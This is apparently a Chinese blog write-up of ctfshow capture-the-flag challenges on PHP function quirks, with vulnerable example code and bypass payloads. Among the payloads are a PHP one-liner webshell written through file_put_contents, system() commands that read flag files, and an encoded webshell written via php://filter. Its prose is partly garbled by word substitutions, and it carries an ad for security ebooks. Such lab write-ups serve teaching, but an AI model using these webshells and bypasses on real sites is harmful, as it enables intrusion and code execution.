先容
本篇文章紧张总结了我在写ctfshow题目中碰着的关于PHP的考点。由于总结知识点和考点会比较空洞,也不随意马虎理解,以是我都是通过题目来总结知识点,这样的话比较随意马虎理解。
PHP函数特性干系
一、
考点一:intval函数传入非空数组时会返回1 详情可以查一下PHP手册。【https://www.php.net/manual/zh/function.intval.php】 考点二:preg_match()只能处理字符串,当传入的是数组时将会返回false,详情也可以查一下PHP手册。
例题:
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }}
例题剖析:
剖析上面的代码可以看出,正则匹配0-9,匹配到则返回true,直接die,但是由于preg_match()只能处理字符串,当传入的是数组时将会返回false,从而绕过去世亡函数。由于之前没怎么理解过intval函数,以是我直接选择查阅php手册【https://www.php.net/manual/zh/function.intval.php】查阅后创造 intval()函数用于获取变量的整数值。intval()函数通过利用指定的进制 base 转换(默认是十进制),返回变量var的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 缺点并返回 1。也便是说,当给intval()函数传入一个非空的数组时,intval()函数将会返回1,结合我们preg_match()传入数组返回false的特性,这道题的payload就很清楚了。
payload:?num[]=1
私信回答资料领取【技能文档】
1、200多本网络安全系列电子书2、全套工具包3、100份src源码技能文档4、网络安全根本入门、Linux、web安全、攻防方面的视频5、 网络安全学习路线6、ctf夺旗赛解析
二、考点一:PHP比较运算符 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等。
考点二:intval($value,$base)当base为0时,会检测value的格式来决定利用的进制。
例题:
include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ # === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等 die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); }}
例题剖析:
如下图所示,通过查询php手册,我们创造,intval($value,$base)当base为0时,会检测value的格式来决定利用的进制,以是我们可以通过把4476转换成16进制,经由base为0的intval函数处理,会识别16进制的4476,从而返回flag,又由于===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等,以是由于字符串类型不同会返回false,从而绕过去世亡函数。
payload:?num=?num=0x117c
考点一:strpos()函数查找字符串在另一字符串中第一次涌现的位置并返回
考点二:intval($value,$base)当base为0时,会检测value的格式来决定利用的进制。例题:
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ #strpos()函数查找字符串在另一字符串中第一次涌现的位置并返回。 die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }}
例题剖析:
这道题目如果我们可以用八进制的4476来绕过,那么会有一个问题,由于八进制须要开头指定为0,而strpos()会匹配到数字0返回0,!0也便是1从而实行去世亡函数,以是我们可以在八进制前面加一个空格,这样strpos()会返回1,以是我们把4476转换为8进制10574后,前面再加一个空格即可。
payload如下:
?num= 010574
考点一:PHP比较运算符 ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等。
考点二:在PHP强比较中变量a、b两个值不一样,哀求两者md5值相同时的绕过方法。
考点三:PHP中md5函数处理数组类型会返回falsefalse的特性。
例题:
if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}
例题剖析:
这一道题涉及到了强比较的md5类型,从代码我们可以得知,哀求a、b两个值不一样但是须要这两个值的md5值一样,因此强比较类型,我们可以利用md5函数处理数组类型会返回false的特性,从而利用false=false来绕过。我之前写过一篇总结干系知识点的文章链接如下:https://www.freebuf.com/articles/web/321300.html
payload:
a[]=1&b[]=2
考点一:in_array ()函数的浸染是什么 检讨数组中是否存在某个值,而当in_array()函数没设置第三个参数时进行的比较是弱比较。
考点二:file_put_contents()函数的浸染是将一个字符串写入文件。如果写入的字符串和文件名可控则可能导致任意文件上传漏洞。
例题:
$allow = array(); #创建空数组for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); #在1-$i之间随机天生一个整数,添加到数组$allow尾部}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']);}
例题剖析:
由于之前不怎么理解in_array()函数以是直接查了PHP手册https://www.php.net/manual/zh/function.in-array.php,创造这题在利用in_array()函数时并没有设置第三个参数为TRUE,以是此时in_array函数进行的比较是==的弱类型比较。也便是会前辈行逼迫转换成相同类型,再比较两者的值是否相等,以是当我们传入1.php时会逼迫转换成数字1,而数字1恰好在 range(1,24)数组中,当随机天生的数字恰好是1时就可以绕过 in_array()函数判断,导致任意文件上传漏洞。多试几次,直到不报错的那一次,解释成功传入一句话。之后访问1.php 再通过再通过post传入1=system('ls');即可查看目录,再访问这个flag36d.php,即post: 1=system('cat flag36d.php');即可在网页源码中看到flag。
payload:
?n=1.phppost: content=<?php eval($_POST[1]);?> #写入一句话
六、
考点一:is_numeric()函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
考点二:php有运算的优先级,而且&& > = > and
例题:
include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } }}
例题剖析:
is_numeric()函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。看到末了eval,肯定是须要命令实行,这须要$v2传入命令,$v3须要;结尾,但这么一来is_numeric一处理就变成了
$vo = $v1 and FALSE and FAlse
但php有运算的优先级,也便是&&> = > and
按照运算优先级,先实行=也便是赋值给$a为true,false就被忽略了,思路也就有了,payload为
?v1=1&v2=system("tac ctfshow.php")&v3=;or?v1=1&v2=var_dump($ctfshow)&v3=; #var_dump() 函数用于输出变量的干系信息,这里用来获取ctfshow类中变量的干系信息。从而得到flag
得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;,个中0x2d须要更换成-,然而一共35位还少了一位,末了一位须要爆破得到。
七、考点一:is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
考点二:call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是被调用的函数的参数。
考点三:file_put_contents()函数的浸染是将一个字符串写入文件。如果写入的字符串和文件名可控则可能导致任意文件上传漏洞。
考点四:通过file_put_contents()函数合营php://协议以base64编码的形式写入webshell。
例题:
<?phphighlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3); #例题剖析 通过将变量v2实行的命令base64加密后转换成16进制字符串来使得变量v4为tureif($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); #例题剖析 通过变量v1调用hex2bin函数将变量v2的16进制字符串转换本钱来的base64编码形式 echo $str; file_put_contents($v3,$str); #例题剖析 通过利用php://filter伪协议写入webshell}else{ die('hacker');}
例题剖析:
首先,get传参v2和v3,post传参v1;if中须要v4为真才能往下实行,而v4要为真便是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell,为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字。本地测试代码如下:
#本地测试代码<?php$b = base64_encode('<?=`tac `;');$b = str_replace("=","",$b);echo "base64加密后:".$b."\n";$a = call_user_func('bin2hex',$b); #bin2hex可以将base64编码形式转换成16进制字符串形式。echo "16进制形式:".$a."\n";var_dump(is_numeric($a));/运行结果base64加密后:PD89YHRhYyAqYDs16进制形式:504438395948526859794171594473bool(true)/?>
解释:<?=是php的短标签,是echo()的快捷用法,还有一点,便是substr()取得是从下标为2开始的字符串(字符串下标从0开始),以是我们须要在前面加00两位数
以是payload为
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.phppost:v1=hex2bin #通过hex2bin函数将16进制字符串转换本钱来的base64编码形式
考点:sha1()函数特性,sha1函数无法处理数组,碰着数组会返回NULL
例题:
<?phphighlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; }}
例题剖析:sha1函数无法处理数组,碰着数组会返回NULL,因此将两个变量都设置成数组类型即可得到flag。
payload如下:
?v2[]= #给这两个值赋值与否都不影响post:v1[]=
考点一:parse_str()函数会将传入的第一个参数设置成变量,如果设置了第二个参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。
例题:
<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }}
例题剖析:
看完上面的代码就该当可以知道,这道题的关键就在于parse_str()函数,于是直接查PHP手册中关于parse_str()的先容。这里附链接:https://www.php.net/parse_str/ 看完后我们可以创造该函数会将传入的第一个参数设置成变量,如果设置了第二个参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。剖析上面的代码我们知道v1我们可控,并且我们知道v2数组中有flag这个键,因此我们可以通过parse_str()函数将变量v1的变量名和变量值写入数组v2,那么我们就可以覆盖掉flag这个键值对,并且v3我们可控因此就可以绕过下面$v2['flag']==md5($v3)的比较从而输出flag。这样思路有了,我们可以开始布局payload,payload如下:
?v3=1POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b #md5解密后对应1
考点: ereg()函数的匹配可以被%00截断
例题:
<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){ echo $flag;}
例题剖析:
ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果创造模式则返回true,否则返回false。搜索对付字母字符是区分大小写的
strrev()函数反转字符串。intval()函数用于获取变量的整数值。首先我们须要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们须要字母在前来知足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877以是payload为
Code?c=a%00778
考点一:call_user_func()函数会实行回调函数,call_user_func()把第一个参数作为回调函数,别的参数都是回调函数的参数
考点二:_()是一个函数 _()等效于gettext() 是gettext()的拓展函数。
考点三:get_defined_vars()函数的浸染: 返回由所有已定义变量所组成的数组。
例题:
<?phperror_reporting(0);include("flag.php");highlight_file(__FILE__);$f1 = $_GET['f1'];$f2 = $_GET['f2'];if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2)));}else{ echo "嗯哼?";}function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str);}
例题剖析:
call_user_func()函数把第一个参数作为回调函数,别的参数都是回调函数的参数
_()是一个函数 _()等效于gettext() 是gettext()的拓展函数。开启text扩展,须要php扩展目录下有php_gettext.dll
#测试代码:<?phpecho gettext("ctfshownb");//输出结果:ctfshownbecho _("ctfshownb");//输出结果:ctfshownb
get_defined_vars()函数浸染: 返回由所有已定义变量所组成的数组 这样可以得到 $flag
全体实行流程便是这样
var_dump(call_user_func(call_user_func($f1,$f2)));var_dump(call_user_func(call_user_func(_,'get_defined_vars')));var_dump(call_user_func(get_defined_vars));//输出数组
payload:
?f1=_&f2=get_defined_vars
考点: call_user_func()函数特性
例题一:
<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow{ function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); }}call_user_func($_POST['ctfshow']);
例题剖析:
直接调用ctfshow类中的getFlag方法就好,payload为
post:ctfshow=ctfshow::getFlag
补充:call_user_func()函数在PHP手册中的先容:https://www.php.net/manual/zh/function.call-user-func.php
例题二:
<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow{ function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); }}if(strripos($_POST['ctfshow'], ":")>-1){ die("private function");}call_user_func($_POST['ctfshow']);
例题剖析:
在前一题根本上把冒号给ban了,但call_user_func()支持传入数组形式。
call_user_func(array($ctfshow, ‘getFlag’));这时候会调用ctfshow中的getFlag方法
以是payload
post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag